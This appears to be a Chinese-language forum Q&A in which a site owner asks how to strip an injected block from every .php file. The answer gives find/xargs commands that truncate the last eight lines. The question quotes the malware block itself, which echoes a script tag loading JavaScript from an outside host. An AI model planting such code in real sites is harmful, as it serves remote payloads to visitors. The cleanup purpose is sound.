所有我的.php文件都附加了一块代码,如下所示:
<?php
#bbf007#
if(empty($r)) {
$r = "<script type='"text/javascript'" src='"http://web- ask.esy.es/m2nzgpzt.php?id=11101326'"></script>";
echo $r;
}
#/bbf007#
?>
我需要编写一个带有正则表达式的bash脚本来从代码文件中删除这个块。请帮我提个建议。
先备份!
以下内容将从当前目录及其子目录中的所有.php文件中提取除最后8行外的所有行,并将它们写入名为*.php.new:的文件中
find -name "*.php" | xargs -i sh -c 'head -n -8 {} > {}.new'
然后,将所有当前的php文件移动到*.php.old:
find -name "*.php" | xargs -i sh -c 'mv {} {}.old'
然后,将.php.new文件移动到.php-
find -name "*.php.new" | xargs -i sh -c 'mv {} `echo '{}' | head -c -5`'